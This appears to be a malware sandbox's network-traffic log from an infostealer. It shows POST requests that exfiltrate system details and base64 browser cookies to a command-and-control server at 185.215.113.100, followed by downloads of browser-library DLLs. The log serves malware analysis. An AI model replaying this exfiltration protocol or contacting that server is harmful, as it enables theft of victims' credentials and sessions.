Aug 31, 2024 22:05:18.262686968 CEST	1236	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGHJEBFBFHIIECAECGH Host: 185.215.113.100 Content-Length: 6551 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 48 4a 45 42 46 42 46 48 49 49 45 43 41 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 48 4a 45 42 46 42 46 48 49 49 45 43 41 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 6c 7a 64 47 56 74 58 32 6c 75 5a 6d 38 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 48 4a 45 42 46 42 46 48 49 49 45 43 41 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 43 6b 35 6c 64 48 64 76 63 6d 73 [TRUNCATED] Data Ascii: ------HDGHJEBFBFHIIECAECGHContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------HDGHJEBFBFHIIECAECGHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZm8udHh0------HDGHJEBFBFHIIECAECGHContent-Disposition: form-data; name="file"Ck5ldHdvcmsgSW5mbzoKCS0gSVA6IElQPwoJLSBDb3VudHJ5OiBJU08/CgpTeXN0ZW0gU3VtbWFyeToKCS0gSFdJRDogMUQ5ODlBMDRCNERCMjQ5NjYxODY3NQoJLSBPUzogV2luZG93cyAxMCBQcm8KCS0gQXJjaGl0ZWN0dXJlOiB4NjQKCS0gVXNlck5hbWU6IGh1YmVydAoJLSBDb21wdXRlciBOYW1lOiAyMTA5NzkKCS0gTG9jYWwgVGltZTogMjAyNC84LzMxIDE2OjU6MTYKCS0gVVRDOiAtNQoJLSBMYW5ndWFnZTogZW4tQ0gKCS0gS2V5Ym9hcmRzOiBFbmdsaXNoIChVbml0ZWQgS2luZ2RvbSkgLyBFbmdsaXNoIChVbml0ZWQgS2luZ2RvbSkKCS0gTGFwdG9wOiBGQUxTRQoJLSBSdW5uaW5nIFBhdGg6IEM6XFVzZXJzXGh1YmVydFxEZXNrdG9wXGZpbGUuZXhlCgktIENQVTogSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoKCS0gQ29yZXM6IDIKCS0gVGhyZWFkczogNAoJLSBSQU06IDgxOTEgTUIKCS0gRGlzcGxheSBSZXNvbHV0aW9uOiAxMjgweDEwMjQKCS0gR1BVOgoJCS1NaWNyb [TRUNCATED]
Aug 31, 2024 22:05:18.342034101 CEST	2472	OUT	Data Raw: 55 31 70 59 33 4a 76 63 32 39 6d 64 43 42 46 5a 47 64 6c 49 46 64 6c 59 6c 5a 70 5a 58 63 79 49 46 4a 31 62 6e 52 70 62 57 55 67 4c 53 41 78 4d 54 63 75 4d 43 34 79 4d 44 51 31 4c 6a 51 33 43 67 6c 4b 59 58 5a 68 49 45 46 31 64 47 38 67 56 58 42 Data Ascii: U1pY3Jvc29mdCBFZGdlIFdlYlZpZXcyIFJ1bnRpbWUgLSAxMTcuMC4yMDQ1LjQ3CglKYXZhIEF1dG8gVXBkYXRlciAtIDIuOC4zODEuOQoJSmF2YSA4IFVwZGF0ZSAzODEgLSA4LjAuMzgxMC45CglNaWNyb3NvZnQgVmlzdWFsIEMrKyAyMDE1LTIwMjIgUmVkaXN0cmlidXRhYmxlICh4NjQpIC0gMTQuMzYuMzI1MzIgLSAx
Aug 31, 2024 22:05:18.342314005 CEST	1236	OUT	Data Raw: 48 64 6a 5a 32 78 6c 63 30 56 61 53 69 35 6c 65 47 55 4b 43 58 68 57 63 6d 70 4a 55 55 39 36 65 6e 4a 5a 57 58 5a 59 64 32 4e 6e 62 47 56 7a 52 56 70 4b 4c 6d 56 34 5a 51 6f 4a 65 46 5a 79 61 6b 6c 52 54 33 70 36 63 6c 6c 5a 64 6c 68 33 59 32 64 Data Ascii: HdjZ2xlc0VaSi5leGUKCXhWcmpJUU96enJZWXZYd2NnbGVzRVpKLmV4ZQoJeFZyaklRT3p6cllZdlh3Y2dsZXNFWkouZXhlCgl4VnJqSVFPenpyWVl2WHdjZ2xlc0VaSi5leGUKCXhWcmpJUU96enJZWXZYd2NnbGVzRVpKLmV4ZQoJeFZyaklRT3p6cllZdlh3Y2dsZXNFWkouZXhlCgl4VnJqSVFPenpyWVl2WHdjZ2xlc0Va
Aug 31, 2024 22:05:19.306760073 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 31, 2024 22:05:19.562365055 CEST	94	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 31, 2024 22:05:19.803270102 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:19 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Aug 31, 2024 22:05:21.381982088 CEST	953	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJECBGIJDGCAEBFIIECA Host: 185.215.113.100 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzg3MzgJMVBfSkFSCTIwMjMtMTAtMDUtMDgKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk3OTM4CU5JRAk1MTE9b3JjU0lub1pCYjZTcncwUGRQTU5lTEdLc2VnZkxpLXRRbnZpaG81aEtKWEtETmcwa1hJUG5mVGN1d1Y1cjdScWpUODkzcFdHSkY3a2xLcWxkQm9qNHJESnZ4ZkZsZ0RPQ2NXOWFLRG5VOXpJbFVoMkxQMHZPOGszdVQwZ0hKRDFKdlZBY2xrSm5Ld1pHNmhEQWw2MkhyTXhOclVlcVNSLVdGMUotbDlZWWdFCg==------IJECBGIJDGCAEBFIIECA--
Aug 31, 2024 22:05:22.207218885 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 31, 2024 22:05:22.298095942 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHD Host: 185.215.113.100 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="file"------BFIDGDAKFHIEHJKFHDHD--
Aug 31, 2024 22:05:23.139519930 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 31, 2024 22:05:23.820219994 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIJJKKJJDAAAAAKFHJJ Host: 185.215.113.100 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BGIJJKKJJDAAAAAKFHJJContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------BGIJJKKJJDAAAAAKFHJJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BGIJJKKJJDAAAAAKFHJJContent-Disposition: form-data; name="file"------BGIJJKKJJDAAAAAKFHJJ--
Aug 31, 2024 22:05:24.617794037 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 31, 2024 22:05:25.409378052 CEST	94	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 31, 2024 22:05:25.662014961 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:25 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Aug 31, 2024 22:05:26.590679884 CEST	94	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 31, 2024 22:05:26.835665941 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:26 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Aug 31, 2024 22:05:27.230262995 CEST	95	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 31, 2024 22:05:27.471446037 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:27 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Aug 31, 2024 22:05:27.863013029 CEST	91	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 31, 2024 22:05:28.104222059 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:28 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Aug 31, 2024 22:05:29.513533115 CEST	95	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 31, 2024 22:05:29.754160881 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:29 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Aug 31, 2024 22:05:29.883369923 CEST	99	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 31, 2024 22:05:30.124488115 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:30 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
